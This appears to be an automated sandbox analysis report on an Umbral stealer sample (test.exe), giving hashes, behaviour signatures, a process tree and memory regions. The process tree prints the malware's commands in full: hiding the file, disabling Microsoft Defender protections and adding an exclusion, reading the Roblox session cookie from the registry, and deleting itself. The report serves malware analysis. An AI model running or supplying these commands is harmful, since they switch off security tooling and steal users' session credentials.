Analysis

  • max time kernel
    117s
  • max time network
    136s
  • platform
    windows7_x64
  • resource
    win7-20231215-en
  • resource tags

    arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
  • submitted
    13-02-2024 18:27

General

  • Target

    test.exe

  • Size

    229KB

  • MD5

    4a1a7343912696cddb2f5e4fcb02a1c1

  • SHA1

    a7ed28d7dce1e93b349c9709690f2f03fc01a379

  • SHA256

    4baa876c24d03ddeb3484975bc7bcc90a498f26274d10a3ee499b5a1f8e5c749

  • SHA512

    355ce587a28634e7ebfe86f754693a1f04feb463db3439549022ec4601c154be4d19057a81b22c3b69ce68bf86839aae0d3c8e4af6297dffe2d04fa430a35850

  • SSDEEP

    6144:lloZM9rIkd8g+EtXHkv/iD45Pu6qoHjgv5sqb7ivrATb8e1mmi:noZOL+EP85Pu6qoHjgv5sqb7ivGE

Score
10/10

Malware Config

Signatures

  • Detect Umbral payload 2 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Drops file in Drivers directory 1 IoCs
  • Deletes itself 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\test.exe
    "C:\Users\Admin\AppData\Local\Temp\test.exe"
    1⤵
    • Drops file in Drivers directory
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2308
    • C:\Windows\system32\attrib.exe
      "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\test.exe"
      2⤵
      • Views/modifies file attributes
      PID:2604
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\test.exe'
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:748
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:524
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1536
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2272
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" os get Caption
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2472
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" computersystem get totalphysicalmemory
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1572
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" csproduct get uuid
      2⤵
        PID:804
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:1672
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic" path win32_VideoController get name
        2⤵
        • Detects videocard installed
        PID:1244
      • C:\Windows\system32\cmd.exe
        "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\test.exe" && pause
        2⤵
        • Deletes itself
        • Suspicious use of WriteProcessMemory
        PID:972
        • C:\Windows\system32\PING.EXE
          ping localhost
          3⤵
          • Runs ping.exe
          PID:2496

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

      Filesize

      7KB

      MD5

      b657032ae41672bc09251b745b0ca8e7

      SHA1

      cc34d91ac6e5f16a52bab1c8620fb25f478786bf

      SHA256

      28b5d53907d8cb8eec5335ecdd8ab910d59fff27240e30ae39d9827aa5944b08

      SHA512

      ecd1786acc65c478803447b486fe4986445b01f9f87f9f76bed4254ef14165869e04fc49ade0eef836560ce1cee4977f437b0e7a1e0dbc62a0c241de4fd865b3

    • memory/524-25-0x0000000001F90000-0x0000000002010000-memory.dmp

      Filesize

      512KB

    • memory/524-20-0x000000001B2B0000-0x000000001B592000-memory.dmp

      Filesize

      2.9MB

    • memory/524-21-0x000007FEECDE0000-0x000007FEED77D000-memory.dmp

      Filesize

      9.6MB

    • memory/524-24-0x000007FEECDE0000-0x000007FEED77D000-memory.dmp

      Filesize

      9.6MB

    • memory/524-27-0x0000000001F90000-0x0000000002010000-memory.dmp

      Filesize

      512KB

    • memory/524-26-0x0000000001F90000-0x0000000002010000-memory.dmp

      Filesize

      512KB

    • memory/524-22-0x0000000001F90000-0x0000000002010000-memory.dmp

      Filesize

      512KB

    • memory/524-28-0x0000000001F90000-0x0000000002010000-memory.dmp

      Filesize

      512KB

    • memory/524-29-0x000007FEECDE0000-0x000007FEED77D000-memory.dmp

      Filesize

      9.6MB

    • memory/524-23-0x0000000001DE0000-0x0000000001DE8000-memory.dmp

      Filesize

      32KB

    • memory/748-10-0x000000001B220000-0x000000001B502000-memory.dmp

      Filesize

      2.9MB

    • memory/748-14-0x000007FEED780000-0x000007FEEE11D000-memory.dmp

      Filesize

      9.6MB

    • memory/748-13-0x00000000027F0000-0x0000000002870000-memory.dmp

      Filesize

      512KB

    • memory/748-11-0x00000000027F0000-0x0000000002870000-memory.dmp

      Filesize

      512KB

    • memory/748-12-0x00000000022F0000-0x00000000022F8000-memory.dmp

      Filesize

      32KB

    • memory/748-9-0x000007FEED780000-0x000007FEEE11D000-memory.dmp

      Filesize

      9.6MB

    • memory/1536-48-0x00000000025D0000-0x0000000002650000-memory.dmp

      Filesize

      512KB

    • memory/1536-46-0x000007FEED780000-0x000007FEEE11D000-memory.dmp

      Filesize

      9.6MB

    • memory/1536-50-0x000007FEED780000-0x000007FEEE11D000-memory.dmp

      Filesize

      9.6MB

    • memory/1536-45-0x00000000025D0000-0x0000000002650000-memory.dmp

      Filesize

      512KB

    • memory/1536-49-0x00000000025D0000-0x0000000002650000-memory.dmp

      Filesize

      512KB

    • memory/1536-47-0x00000000025D0000-0x0000000002650000-memory.dmp

      Filesize

      512KB

    • memory/1536-44-0x000007FEED780000-0x000007FEEE11D000-memory.dmp

      Filesize

      9.6MB

    • memory/1672-78-0x000007FEED780000-0x000007FEEE11D000-memory.dmp

      Filesize

      9.6MB

    • memory/1672-71-0x000000001B1B0000-0x000000001B492000-memory.dmp

      Filesize

      2.9MB

    • memory/1672-77-0x00000000023B0000-0x0000000002430000-memory.dmp

      Filesize

      512KB

    • memory/1672-76-0x00000000023B0000-0x0000000002430000-memory.dmp

      Filesize

      512KB

    • memory/1672-75-0x00000000023B0000-0x0000000002430000-memory.dmp

      Filesize

      512KB

    • memory/1672-74-0x000007FEED780000-0x000007FEEE11D000-memory.dmp

      Filesize

      9.6MB

    • memory/1672-73-0x00000000023B0000-0x0000000002430000-memory.dmp

      Filesize

      512KB

    • memory/1672-72-0x000007FEED780000-0x000007FEEE11D000-memory.dmp

      Filesize

      9.6MB

    • memory/2272-57-0x00000000026B0000-0x0000000002730000-memory.dmp

      Filesize

      512KB

    • memory/2272-58-0x000007FEECDE0000-0x000007FEED77D000-memory.dmp

      Filesize

      9.6MB

    • memory/2272-61-0x00000000026B0000-0x0000000002730000-memory.dmp

      Filesize

      512KB

    • memory/2272-62-0x000007FEECDE0000-0x000007FEED77D000-memory.dmp

      Filesize

      9.6MB

    • memory/2272-59-0x00000000026B0000-0x0000000002730000-memory.dmp

      Filesize

      512KB

    • memory/2272-60-0x00000000026B0000-0x0000000002730000-memory.dmp

      Filesize

      512KB

    • memory/2272-56-0x000007FEECDE0000-0x000007FEED77D000-memory.dmp

      Filesize

      9.6MB

    • memory/2308-2-0x000000001AF50000-0x000000001AFD0000-memory.dmp

      Filesize

      512KB

    • memory/2308-1-0x000007FEF5620000-0x000007FEF600C000-memory.dmp

      Filesize

      9.9MB

    • memory/2308-0-0x00000000008F0000-0x0000000000930000-memory.dmp

      Filesize

      256KB

    • memory/2308-4-0x000000001AF50000-0x000000001AFD0000-memory.dmp

      Filesize

      512KB

    • memory/2308-3-0x000007FEF5620000-0x000007FEF600C000-memory.dmp

      Filesize

      9.9MB

    • memory/2308-82-0x000007FEF5620000-0x000007FEF600C000-memory.dmp

      Filesize

      9.9MB